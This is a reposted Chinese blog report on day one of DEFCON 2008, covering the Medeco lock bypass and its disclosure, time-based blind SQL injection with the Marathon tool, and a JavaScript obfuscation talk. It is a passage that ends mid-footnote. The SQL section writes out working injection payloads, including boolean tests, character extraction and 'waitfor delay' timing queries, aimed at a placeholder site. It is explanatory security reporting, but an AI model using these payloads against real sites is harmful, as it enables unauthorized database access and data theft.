作者deephoe (舞剑尘)
看板AntiVirus
标题[软体] 美国骇客年会 DEFCON 2008 观察--第一天
时间Fri Sep 5 18:57:28 2008
转贴自:
http://armorize-cht.blogspot.com/2008/08/defcon-2008.html
豪不必驰千骑,雄不在垂双鞬,天生俊气自相逐,出与鵰鹗同飞翻 --李益
(此文续「美国骇客年会 Black Hat 2008 观察--第二天」...)
0. 可以 program 的 DEFCON 吊牌
1. Schuyler Towne & Jon King: 美国最安全锁头 Medeco 的破解与完整揭露
2. Chema Alonso: 时间差於 Blind SQL Injection 上的运用以及工具 Marathon
的发表
3. Kolisar: 空白字元:JavaScript 变形的新方法
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻击社交网路
5. Wendel Guglielmetti Henrique:打穿 WAF
6. 黑白帽相见欢(Meet the Feds)
7. NIST:量子加密(Quantum Cryptography)
8. Thomas Wilhelm:移动骇客空间(Mobile Hacker Spaces)
(抱歉让大家久等了,我发现每天要到晚上一点多才有空 blog。)
昨天晚上没有先来 DEFCON(注1) 报到,今天早上报到队伍排得好长。排我前面跟
後面的两个人都在跑 metasploit(注2) 跟 nmap(注3) ;前面一个人是用 iphone
装了 cydia(注4)(要装的看这(注5))在跑,後面一个是拿他那低於两百美金买的
宝贝 XO Laptop(注6) 装了 Ubuntu(注7)(要装的看这(注8))在跑。穿着 tshirt
牛仔裤,没有整理的头发,躲在厚重眼镜後面因熬夜而快睁不开的眼睛...比起那
些西装笔挺,鞋子发亮,头发整齐,幽默风趣又能言善道的业务,这里很多人看
起来可能并不是型男,但是在数位世界中,
他们是绝对的高手。
注1.
https://www.defcon.org/
注2.
http://www.metasploit.com/
注3.
http://nmap.org/
注4.
http://www.saurik.com/id/1
注5.
http://selil.com/media/chavez-hacking-Iphone.pdf
注6.
http://en.wikipedia.org/wiki/OLPC_XO-1
注7.
http://www.ubuntu.com/
注8.
http://www.olpcnews.com/software/operating_system/how_to_ubuntu_on_
xo_laptop.html
0. 可以 program 的 DEFCON 吊牌
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2633_
filtered_WBed_cropped_730.jpg
DEFCON 这几年的 pass 都做得很酷,今年的 pass,上面有一个 SD 读卡机,还
有 USB 接头和一堆可以客制化的功能--可以无线传输,发出红外线讯号充当电
视遥控器,或相互通讯等。我一报到完一样,虽然付费参加,还是跟 nico 和
dirk 知会过,拿了另一个媒体的牌,并签了拍照的合约。DEFCON 跟 Black Hat
(注9)比起来,对於拍照更是敏感,所以我一直都很小心,也跟他们一直保持互
动。底下绿色的是媒体 pass,白色的是一般的 pass。
注9.
http://www.blackhat.com/
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3294_
filtered_cropped_730.jpg
看看其他人加工过的牌子吧!照片是这里来的(注10)。
注10.
https://pics.defcon.org/showgallery.php?cat=533
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/badges.jpg
这个牌子可以让你自己焊接一个 USB 接头上去,就可以开始设计他了。所有需
要用的软体工具与 SDK,在 DEFCON 的 CD片中都有附。赢得比赛的人,可以拿
到一个黑色的牌子,就获得终身免费参加 DEFCON 的资格罗!设计这个牌子的是
外号「Kinping」的 Joe Grand(注11),以下是他介绍整个设计的访问影片:
注11.
http://www.grandideastudio.com/
影片:
https://www.youtube.com/watch?v=n5pSY1Md89k
1. 美国最安全锁头 Medeco 的破解与完整揭露(注12)(投影片)(注13)
进去後先吃早餐,排队排到都饿了。我坐下来,发现旁边是一位很年轻的美国人
,看来很想睡觉,眼睛几乎睁不开了,但是手却很忙,仔细一看,他正在开锁,
工具就摆在桌上。边吃边聊了起来,原来他就是 Jon King,正在开美国能做出
来最安全的锁:Medeco 的最顶级六针型锁头。Medeco 目前有超过四百名员工,
在美国高阶锁市场市占率达七成以上,凡举各银行,机密单位,军方等,一律都
采用Medeco 的锁,所以一般美国锁匠,也把 Medeco(注14) 看成是「终极神锁」。
注12.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Towne
注13.
https://www.defcon.org/images/defcon-16/dc16-presentations/def
con-16-towne-king.pdf
注14.
http://www.medeco.com/
Jon 说他两天没睡了,眼睛睁不开,但是还是很热心的一直跟我说,他是如何破
解这颗锁的。虽然我不懂锁,但是听起来真是有趣,找漏洞需要有一种特殊的
「心理状态」,而这种状态,看来似乎实体安全跟资讯安全所需要的其实差不多
。另外我更有兴趣的是,他从验证弱点到与厂商互动到公开攻击方法的整个过程
,也就是所谓的负责的弱点揭露(responsible vulnerability disclosure)的
程序(注15)。这个议题虽然目前在资安圈,尤其是各大骇客年会上,正是个火热
的话题,但是在锁匠的社群里,这个议题已经有很长的历史了(锁跟电脑的发明
差了多久?),可能也因为如此,似乎处理的方式也比较成熟。
注15.
http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/
index.html
Jon 与 Medeco (注16)的故事,要从去年的 DEFCON 15 (2007)(注17)说起...
注16.
http://www.medeco.com/
注17.
https://www.defcon.org/html/defcon-15/dc-15-speakers.html
去年,Schuyler Towne(注18) 第一次来到 DEFCON(注19),向骇客们介绍了
locksport(注20)。Locksport 是一个新兴的文化,把研究锁的设计与弱点当
成兴趣。这种社群最成熟的是在荷兰的 TOOOL(注21),每年都举办开锁大赛
Dutch Open(这里有 wired (注22)对 2004 年大赛的报导(注23)),并努力
希望奥运能加入开锁比赛的项目。
注18.
https://www.defcon.org/html/defcon-15/dc-15-speakers.html#Towne
注19.
http://www.defcon.org/
注20.
http://www.locksport.com/
注21.
http://www.toool.nl/index-eng.php
注22.
http://www.wired.com/
注23.
http://www.toool.nl/wired.pdf
Schuyler Towne 并在大会中发表了他创办的「非破坏性进入(Non Destructive
Entry)(注24)」杂志。他当时演讲的录影在这里(注25),投影片在这里(注26)。
注24.
http://www.ndemag.com/
注25.
http://video.google.com/videoplay?docid=-4849510167974330234
注26.
http://www.defcon.org/images/defcon-15/dc15-presentations/dc-
15-towne.pdf
在另外一头,Medeco 的首席工程师 Peter Field 首次於荷兰 TOOOL 举办的开
锁年赛 Dutch Open 上演讲。Peter 自 1960 年开始做锁匠,於1978年被 Medeco
聘用,目前他已经拥有了超过 15 篇的美国专利(注27)。Peter 在开锁大赛中长
达四小时的马拉松式演讲(注28)充分表达了他对此社群的支持,也让研究开锁的
社群与设计锁的公司有了更好的互动。
注27.
http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HI
TOFF&p=1&u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&r=1&f=G&l=50&d=PALL&
RefSrch=yes&Query=PN%2F5570601
注28.
http://www.toool.nl/blackbag/?p=144
而又在另外一头,Jon King 今年 22 岁,在跟着美国海军跑船之余,利用空闲
时间研究锁的结构与开锁的技巧,当然也研究美国最难开的 Medeco 锁。2007
年九月时,其实 Jon 已经成功的开启他他手上的 Medeco,但是他继续研究,
这是偶发事件,还是可以做出工具,让攻击可以简单并系统化的重复?如果可
以,那麽无敌的 Medeco 就算是真的配破解了。
Peter 演讲後一个月,Jon 做出了 Medecoder 开锁工具,可以重复地开 Medeco
。今年二月,Jon 找上了 Schuyler Towne。他读过 Schuyler 创办的NDE(注29)
杂志,他知道 Schuyler 可以帮他解决目前的一大难题:如何公开这个会让美国
所有最机密单位与银行瞬间陷入危险的研究:Medeco 破解法与 Medecoder?
注29.
http://www.ndemag.com/
弱点揭露(vulnerability disclosure)(注30)中,双方永远是不对等的(就像
最近 Google 与 RSnake 事件(注31))。Medeco 是四百人的公司,背後还有美
国政府。Jon 是一个 22 岁的小伙子。如果 Jon 与 Medeco 签了保密合约(NDA)
,那麽 Jon 没有 Medeco 允许,不能公开他找到的弱点。可是这种弱点可能让一
个制锁公司瞬间濒临倒闭(记得 2004 年 Kryptonite 事件吗?(注32)),
Medeco 会让 Jon 出去讲吗?可是如果不讲,Medeco 可能根本不改善弱点,或者
出新版後也不承认旧版有弱点(锁不能 binary diff patch 吧?(注33))如果
Jon 不签NDA 而直接完整揭露(full discloser),Medeco 可以称此为不负责任
揭露,发动舆论攻击或甚至提告 Jon。故事会如何发展呢?
注30.
http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/
index.html
注31.
http://armorize-cht.blogspot.com/2008/08/black-hat-2008.html#RSNAKE
注32.
http://www.nytimes.com/2004/09/17/nyregion/17lock.html?ei=5090&en=5
2de64f51b991525&ex=1253160000&partner=rssuserland&pagewanted=all&position=
注33.
http://www.schneier.com/blog/archives/2008/04/reverseengineer.html
今年四月,Peter 带着各种工具、零件与摄影机,来到了 Jon 住的公寓。五月,
Medeco 已经设计出新一代产品:ARX 并可以生产,对於已经卖出的产品也有了修
改套件。七月,Jon 首次於 The Last Hope(注34) 资安会议上展现此弱点与攻
击技巧:
注34.
http://www.thelasthope.org/talks.html
影片:
https://www.youtube.com/watch?v=j77WM-uL4qc
七月底,Jon 写的关於 Medeco 的完全揭露(full disclosure)公布於 NDE (注35)
杂志第四期(注36),里头注明了,此篇应 NDE 要求,延迟两个月公布,目前两个月
时间已过,Medeco 也出了新产品 ARX,Jon 的攻击对於新产品已失效,对於已经在
市面上的众多旧产品,Medeco 已经出了修补的套件。今天在 DEFCON(注37),
Schuyler 与 Jon 首次同台,共同讲述了整个从发现弱点、设计攻击工具、通知厂
商到完整揭露的整个过程。整个演讲有一半在探讨负责的弱点揭露(responsible
vulnerability disclosure)程序(注38),内容大致与 NDE 第四期的第一篇文章相
同,有兴趣的朋友可以读一读。
注35.
http://www.ndemag.com/
注36.
http://www.ndemag.com/issues/nde4.pdf
注37.
http://www.defcon.org/
注38.
http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index
.html
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2791
_cropped_WBed_730_1.JPG
演讲中最精彩的,莫过於 Jon 当场拿他设计的工具示范开锁。第一次很快地,他手
一扬,结果又收回来,因为原本以为开了,但是手一抖就没开成。这时 Jon 说:
「各位,我希望我在 DEFCON 能开成,但是我两天没睡了,不能保证...」这时很多
观众帮他出声打气:「You can do it Jon!」。一瞬间,从摄影机看到锁头动了,
转到开的位置,Jon 立刻把锁头高举,大家兴奋得一直鼓掌...
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/jon_730.jpg
2. 时间差於 Blind SQL Injection 上的运用以及工具 Marathon 的发表:对於 MS
SQL Server、Orcale、和 MySQL资料库皆实际有用(Time-Based Blind SQL
Injection using heavy queries: A practical approach for MS SQL Server, MS
Access, Oracle and MySQL databases and Marathon Tool)(注39)(投影片)
(注40)(whitepaper)(注41)(程式下载)(注42)(whitepaper)(注43)(extras)
(注44)(Marathon(注45) 工具下载)
注39.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso
注40.
https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-alonso-parada.pdf
注41.
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
注42.
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/alonso-parada-extras.zip
注43.
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
注44.
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/alonso-parada-extras.zip
注45.
http://www.codeplex.com/marathontool
Okay,我又得承认,这中间我又开溜了,我跑去听跟我们做得很相关的渗透测试手法
:「时间差於 Blind SQL Injection 上的运用以及工具 Marathon 的发表:对於 MS
SQL Server、Orcale、和 MySQL资料库皆实际有用(Time-Based Blind SQL
Injection using heavy queries: A practical approach for MS SQL Server,
MS Access, Oracle and MySQL databases and Marathon Tool)(注46) 」。
注46.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso
以下是讲师之一的 Chema Alonso(大会(注47)、blog(注48)):
注47.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso
注48.
http://elladodelmal.blogspot.com/
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2745
_filtered_wbed_730.jpg
这个手法的精神主要是,在 blind SQL injection (注49)时,如果不同 SQL
injection 指令的结果,无法由 HTTP Response 本身得知,那麽可以用时间差的方
式判断。可以设计一个很耗时的 SQL 指令,这时如果 SQL injection 成功,那麽
这个 SQL injection 指令的执行结果,会影响到 Web server 回复 HTTP response
的速度,这个就可以用来判断 SQL injection 指令执行的结果。
注49.
http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_Injection
Chema 在台上 demo 时一下子秀出他吸大麻的照片,一下拿出照相机拍台下的听众,
一下子不断用西班牙话数着:「一、二、三、四、五,注入成功!」活像个超级黑客
。他目前在马德里的 Rey Juan Carlos University(注50) 大学攻读博士学位,由
Dr. Antonio Guzman 与 Dr. Marta Beltran 共同指导。这个演讲其实就是根据他
写的博士论文。
注50.
http://www.urjc.es/version_chino/
由於两位西班牙来的讲师,Jose Parada 在微软工作,Chema 也曾获微软的 最有价
值专家(MS MVP(注51),此演讲早在去年底就在微软官方的 TechNet 上公布过了。
(注52)
注51.
http://mvp.support.microsoft.com/
注52.
http://technet.microsoft.com/en-us/library/cc512676.aspx
Chema 有一个在西班牙很受欢迎的 blog(注53),如果有兴趣的朋友可以读一读,
如果你懂西班牙文的话。不懂西班牙文,用机器翻译一下,也会发现很多好东西。
例如 Chema 写了三篇(一(注54)、二(注55)、三(注56))他的 DEFCON 心得,
如果挖一下,你会发现他把他照台下的照片贴出来了(注57)。由於 DEFCON 很多
人 装备 打扮 身份 都必较特殊,不喜欢被拍照,一般规定是不可拍群众的,所
以外面很少照片流传,没有实际去过的人,也比较不容易想像会场样子。他什麽
时候会拿掉不知道,有兴趣的可以看一下 ;-)
注53.
http://elladodelmal.blogspot.com/
注54.
http://elladodelmal.blogspot.com/2008/08/defcon16-i-de-iii.html
注55.
http://elladodelmal.blogspot.com/2008/08/defcon16-ii-de-iii.html
注56.
http://elladodelmal.blogspot.com/2008/08/defcon16-iii-de-iii.html
注57.
http://4.bp.blogspot.com/_Y2uWeGSk9Sw/SKAjSEPdjSI/AAAAAAAACgY/e_64uhK7dUc/s1600-h/dos.png
另外他也在 blog 上公布了他的投影片(注58)...其实他公布了所有人的投影片
(注59)...其实他连 Black Hat 所有投影片也公布了(注60)...
注58.
http://164.106.251.250/docs/dc2008/defcon-16-alonso-parada.pdf
注59.
http://164.106.251.250/docs/dc2008/
注60.
http://164.106.251.250/docs/bh2008/
还有很多好玩的啦,自己挖吧!我怎麽看得懂呢?我背後做一个西班牙来的
同事 Roman 啊!
这个演讲他们也有公布 white paper,在这里(注61),里头你会发现作者还包括另
外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 吗?如果你听西班牙
话的话,这里有 Daniel 的演讲(注62),大同小异。
注61.
http://mirror.sweon.net/defcon16/Speakers/Alonso-Parada/defcon-16-alonso-parada-wp.pdf
注62.
http://video.google.com/videoplay?docid=-5424434168214025056
我就用他们的 paper,简单带各位走一遍好了!
先谈 blind SQL injection (注63)。假设我是攻击者,那 Blind SQL injection
讲白话些,一般是指在目标网站的资料库没有吐错误讯息的情况下,进行 SQL
injection 的方法。在 SQL injection 中,攻击者需要知道两项重要资讯:
注63.
http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_Injection
1. SQL injection 是否成功?定义:是否能有效影响目标伺服器所执行的 SQL
指令?
2. SQL injection 所注入之指令所执行的结果?
第一点很容易明白,攻击者要进行 SQL injection,第一步就是必须能有效地
从外部影响到目标 web application 所执行的 SQL 指令。如果目标网站有开启
资料库 error 讯息,那麽这点可以由 error 讯息来得知。如果没有开错误讯息,
则可以由其他方式,例如观察在成功与失败的状况下,回传网页的不同而得知。
第二点则十分重要,因为当攻击者能够成功地注入指令时,接下来必须能够得知
,注入的指令在执行後的结果;尤其像一些利用 "if" 指令的比对方法,攻击者
必须能掌握指令之结果。我举个例子。
假设有一个购物网站,其中有一页,能让使用者用产品号码查询产品。我们知道
某产品号码为 1234,则我们查询时的 URL 如下:
http://www.victim.com/search.asp?q=1234
会列出产品序号 1234 的相关资料。如果序号查不到,回应的页面就会写
「查无此产品!」
假设後端 SQL 指令如下,并且没有处理变数「q」(q 是不乾净的 tainted):
objConn.Execute("select * from product_table where serial=" +
Request.QueryString("q"));
攻击者可以先测试此 URL:
http://www.victim.com/search.asp?q=1234 AND 1=0
发现回传:「查无此产品!」
於是攻击者再试第二个 URL:
http://www.victim.com/search.asp?q=1234 AND 1=1
发现回传产品 1234 的简介。於是攻击者做出以下结论:
A. 此页有 SQL injection 漏洞,攻击者可以影响 SQL 指令并有效执行成功。
B. 执行的结果,可以由回传的页面不同来判定。
对於 (B),我们把第一个页面(AND 1=0)称做负页面(false page),而把第
二个页面(AND 1=1)称做正页面(true page)。这边目的 是要判断 SQL
condition 的 evaluation 是 true 或 false。
举例来说,攻击者於是可以设计以下 URL:
http://www.victim.com/search.asp?q=1234 AND (100>ASCII(Substring(
(select system_user),1,1)))
如果结果回传负页面,告诉我们此资料库 system_user 名称的第一个字元的
ASCII 码小於或等於 100;如果回传正页面,则告诉我们第一个字元大於 100
。自动化的攻击工具可以在经过一串测试後,很快地把资料库目前
system_user 名称算出来。
感谢讲师 Chema Alonso(大会(注63)、blog(注64))同意我们转载他投影片
(注65)上的任何内容,所以下面我们来看他投影片里头用的真实范例(内容完
全根据投影片):
注63.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso
注64.
http://elladodelmal.blogspot.com/
注65.
http://164.106.251.250/docs/dc2008/defcon-16-alonso-parada.pdf
第一张我们可以看到,这是我们没有对 URL 做任何改变时的画面:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-3-mask.png
第二张我们把 URL 中加入「and 1=1」,结果回来的页面是一样的。这个就是
我们的正页面:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-1-mask.png
第三张我们把 URL 中加入「and 1=2」,结果回来的页面不一样。这个就是我
们的负页面:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-2-mask.png
这种比对的手法,可以把很多资讯解出来,包含资料库名称,table 名称等等。
好了,所以对於 (1)「是否注入成功」与 (2)「SQL 指令执行结果」,在有错
误讯息或回传网页会因结果而有变化的情况下,攻击者可以很容易地做出判断
。但是如果这些讯息都没有,就需要依靠 Blind SQL injection 技巧了。
Blind SQL injection 包含很多方法,从 2000 年大家陆续研究并提出许多
paper。对於初学者来说,整理得比较好的,我觉得是 SQLbfTools(注66)
这个 blind SQL injection 工具於於 Black Hat 2004(注67) 以及 DEFCON
2004(注68) 发表时的投影片。当时这篇发表的价值,是整理出可以判断
true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加总
的线性表示等。其中利用 signature 比对的方式,跟我 WWW 2003(注69)
那篇提出的 NRE:R1=R2≠R3 的概念是一样的。
注66.
http://www.reversing.org/node/view/11
注67.
http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip
注68.
http://www.0x90.org/releases/AutomatingBlindSQL-DC12.zip
注69.
http://www.openwaves.net/download/wayne/WWW2003_WAVES.pdf
而其实时间差用於 blind SQL injection 的概念,在当初 2002 年 NGS
Software(注70) 的 Chris Anley 的 (more) Advanced SQL Injection(注71)
那篇就已经有提到了,以下几个是他当时给的例子:
注70.
http://www.ngssoftware.com/
注71.
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
最简单的来说,以下的 SQL injection 指令会让我们在没有知道目前资料库
的帐号是不是 "sa" (Microsoft SQL Server适用):
if (select system_user) = 'sa' waitfor delay '0:0:5'
接下来,看看这个 SQL injection:
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 0))) > 0 waitfor delay '0:0:5'
根据时间差,我们可以得知目前资料库名称字串的第一个 bit 是否是 1。
这个 SQL injection:
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 1))) > 0 waitfor delay '0:0:5'
可以知道第二个 bit...连续做八次,第一个字母就出来了。假设资料库名称有
二十个英文字母,也才需要做 80 次,况且现在很多工具都可以帮忙自动化这
个过程。常用的自动 SQL injection 工具中,支援 blind SQL injection 的
有 SQLbfTools(下载(注72),Black Hat 2004 投影片(注73),DEFCON 2004
投影片(注74))、Absinthe(注75)、sqlninja(注76) 以及我好朋友写的 SQL
Power Injector(注77) 等:
注72.
http://www.reversing.org/node/view/11
注73.
http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip
注74.
http://www.0x90.org/releases/AutomatingBlindSQL-DC12.zip
注75.
http://www.0x90.org/releases/absinthe/
注76.
http://sqlninja.sourceforge.net/
注77.
http://www.sqlpowerinjector.com/
SQLbfTools(注78) 画面(从 Chema (注79)投影片撷取):
注78.
http://www.reversing.org/node/view/11
注79.
http://elladodelmal.blogspot.com/
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/mysqlbf.png
Absinthe (注80)画面(从 Chema (注81)投影片撷取):
注80.
http://www.0x90.org/releases/absinthe/
注81.
http://elladodelmal.blogspot.com/
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe1.png
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe2.png
sqlninja(注82) 画面(从 Chema (注83)投影片撷取):
注82.
http://sqlninja.sourceforge.net/
注83.
http://elladodelmal.blogspot.com/
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/sqlninja.png
SQL Power Injector: (注84)
注84.
http://www.sqlpowerinjector.com/
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/SPInjBlindMode.JPG
事实上,比起人工的渗透测试,时间差判断法对於自动工具来说更为重要。
因为譬如正负页面差异的方法,对人来说很好判断,对自动的程式就比较不容易
,因为网页是很多动态的元件拼起来的,要识别一页上什麽本来就一直变,要判
断什麽是因为 SQL 指令执行结果不同而变的,有时并不容易。事实上 2002 年我
写完 WWW 2003 那篇论文投稿後,就对这个题目很有兴趣(类似 SQLbfTools 的
研究),但是由於後来忙於白箱源码检测的研究,黑箱就没有继续。记忆中 WWW
2004 会议上时就有一篇是做这个的(但是不是给渗透测试用),但是是在
spacial domain 做。其实我觉得这样的问题可以像大部分 Information
Retrieval(注85) 模型一样,拿到 frequency domain 来解。
注85.
http://en.wikipedia.org/wiki/Information_retrieval
讲远了,回正题,时间差识别法,对於自动化工具特别重要,因为这个方法容易
自动化,不易因为自动化而造成误判。
既然已经有了这麽多的工具,那麽 Chema 这篇的贡献在哪里呢?在於:
1. 他把适合各种平台用的时间差方法(在没有 wait functions 的情况下)做了
很好的整理,并扩充至不支援 T-SQL-like 语法的资料库。他提的方法是可以通
用於各种不同资料库的,不受资料库差异影响。
2. 他发表了开放源码的工具 Marathon Tool。(注86)
注86.
http://www.codeplex.com/marathontool
对於他整里的时间差方法,因为时间有限,我简单用他的第一个例子
(MS SQL Server heavy query)叙述如下:
SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers
AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6,
sys.sysusers AS sys7, sys.sysusers AS sys8)>0 and 300>(select top 1
ascii(subsring(ame,1,1)) from sys.sysusers)
其实我们可以把这个指令简化来看成两个 evaluation 被 and 起来:
and B
其中
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.
sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.
sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0
B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)
这样看就很清楚,A 是一个 heavy query,没什麽特别,就是一个会让 SQL server
做很久的 SQL 指令。
B 则是我们实际上要判断的:sys.sysusers 的第一个字元 ASCII 码大於或
小於等於 300。
然後,这整个指令会先测 B,如果 B 成立才会测 A,而测 A 需要很久(几秒)
的时间。所以也就是说,如果 B 成立,伺服器的回应会慢,因为还要 evaluate
A;否的话,则很快可以得到回应。其实讲到这边就讲完了...但是,为何 B 会
先被 evaluate,然後再 A,造成一个类似 if...then 的状况?因为这种方式在
SQL injection 技巧中用的蛮多的,我们就来探讨一下 :)
这是因为 SQL 语法有 short-circuit evaluation(注87)。某些语言,例如 C
,有硬性规定 short-circuit evaluation 的运算元(operator)与先後顺序
(preference)。
注87.
http://en.wikipedia.org/wiki/Short-circuit_evaluation
例如以下这段 C 程式码:
int denom = 0;
if (denom && nom/denom) {
oops_i_just_divided_by_zero(); // never happens
}
以上这段永远不会 division by zero,因为 ANSI C 有硬性规定 "&&" 这个运算
元有 short-circuit,而且顺序是由左到右。所以因为 denom 是零,所以
nom/denom 永远不会被 evaluate 到。
那麽这边问题是:
1. C 有硬性规定,MS SQL 语法有吗?
2. 如果有,那麽先後顺序呢?
答案是,(1) 没有,但是目前的实做是有,(2) 不一定!为了效率,MS SQL Server
确定会 short-circuit,但是顺序为何?左到右?右到左?至今仍是个谜!(注88)
注88.
http://weblogs.sqlteam.com/jeffs/archive/2008/02/22/sql-server-short-circuit.aspx
要探讨这个迷,第一要注意的是,我们这边运用的是 SQL 语法中的 short-circuit,
而 SQL 语言非 procedural 语言。procedural 语言,例如 C,&& 或 || 都有定义
short-circuit,但是 SQL 语言中的 select...where clause,如果用的是「OR」
这个运算元,那麽不用怀疑,没有所谓 short circuit,因为在这种 context 下,
被 OR 起来的所有 condition 都需要被 evaluate!所以网路上很多讨论(注89)都是
错误的。
注89.
http://weblogs.sqlteam.com/jeffs/archive/2008/02/22/sql-server-short-circuit.aspx
至於 MS SQL "AND" 的 short-circuiting,当真是个谜,这里试出来是左到右(注90),
这里却是右到左(注91)。我没有太多时间研究,但是我的猜测是,第一,MS SQL 不是
procedural language,所以不会硬性规定顺序。第二,MS SQL Server 会根据如何做
可以达到最佳效能,来决定所有被 AND 起来的 condition,谁先执行而谁後执行。基
本原则是,快的先执行,这样做 short circuit 才有意义。这是我个人看法,这里有
没有熟 MS SQL 的看官?
注90.
http://www.sqlmag.com/Articles/ArticleID/9148/pg/2/2.html
注91.
http://www.mydatabasesupport.com/forums/sqlserver-server/201467-urgent
-why-sql-server-evaluating-all-expressions.html
无论如何,Chema 提的例子当中:A and B,其中:
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.
sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers
AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0
B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)
因为执行顺序为先 B 後 A(为什麽?我觉得因为 MS SQL Server 判断 B 比较快
evaluate),所以如果 B 是 true,那麽就会执行 A。也就是说,如果 sysusers
的第一个字母的 ASCII 值大於 300 的话,伺服器的回应会慢,因为还要 evaluate A
;否的话,则很快可以得到回应。
好玩吧!事实上,我觉得即使把 A / B 对调,变成:B and A,结果还是 B 会先被
evaluate。但是没有试过就是了... :)
最後,Chema 也将他这次的研究,实做成了工具: Marathon (注92)并在会上发表。
跑起来长这样,注意,重点是支援的资料库比其他工具多:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/marathon_tool.png
注92.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar
3. 空白字元:JavaScript 变形的新方法(Whitepace: A Different Approach to
JavaScript Obfustation)(注93)(投影片)(注94)(程式下载)(注95)
(线上 demo)(注96)
注93.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar
注94.
https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-kolisar.pdf
注95.
https://www.defcon.org/images/defcon-16/dc16-presentations/kolisar/kolisar-extras.zip
注96.
http://malwareguru.com/kolisar/WhiteSpaceEncode.html
接下来我来到了整个 DEFCON 我最喜欢的演讲之一:「空白字元:JavaScript 变形的
新方法(Whitepace: A Different Approach to JavaScript Obfustation)(注97)」
。先不讲演讲内容,演讲者叫「Kolisar」,当然是一个假的名字。演讲後我跟他花了
很多时间探讨,才了解到,他在一家很有名的大公司上班,不是资安公司,但是负责
公司的网管与资安。也就是说,对我们阿码科技这种「厂商」来说,他是「用户(user)
」。用户上来给演讲?没错!因为过去一年半,网站挂马 javascript 变形手法太强,
没有一家能够有效识别恶意的 javascript(当然那时他不认识阿码科技),他只好自己
拿 spidermonkey 来做,经过一整年与变形後的恶意 javascript 搏斗後,看得多了,
自己也有了心得,於是根据他看到的以及他研究的,他终於说服了老板来 DEFCON 给演讲
。什麽?要在骇客年会给演讲?传统的大企业当然有顾忌,所以最後虽然准他来,但是不
能用真名,也不能提公司的名字...哈!
注97.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar
但是这就跟我一直提的,在台湾也是一样,user 都快比很多厂商强了,被训练出来的!
尤其台湾很多经销代理商,一心只想塞产品给客户...客户都只好自求多福,几年下来功
力已经超过厂商了。
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2823_
filtered_cropped_730.jpg
Kolisar 给我的第一印象,看他眼睛,非常聪明,但是同时也是一个很认真也很诚恳
的人。他的演讲整间做得满满的,算一算快一千人吧!他一开始就说:这是我第一次来
DEFCON 讲...事实上,我给过演讲,最多只有 20 个人,结果这次第一次上台竟然那麽
多人,所以我现在一直发抖...
他的态度让大家都很喜欢他,台下一直帮他打气,他不像其他有经验的讲师很会搞笑,
一下子就讲完了,但是获得台下好大的掌声,後来立刻大家也提了很多的问题。我觉得
这种会就是这样,你只要有东西,不用装强,大家就会听你说。
Kolisar 首先介绍了各种 javascript 的编码方式,我在「美国骇客年会 Black Hat
2008 观察--第二天」中也记录了 Billy Hoffman 举的(注98) 各种不同 javascript
的变形方式,也利用 malwareguru.org(注99) 介绍了线上许多不同的 javascript
变形器。这边把之前的文贴一些过来。
注98.
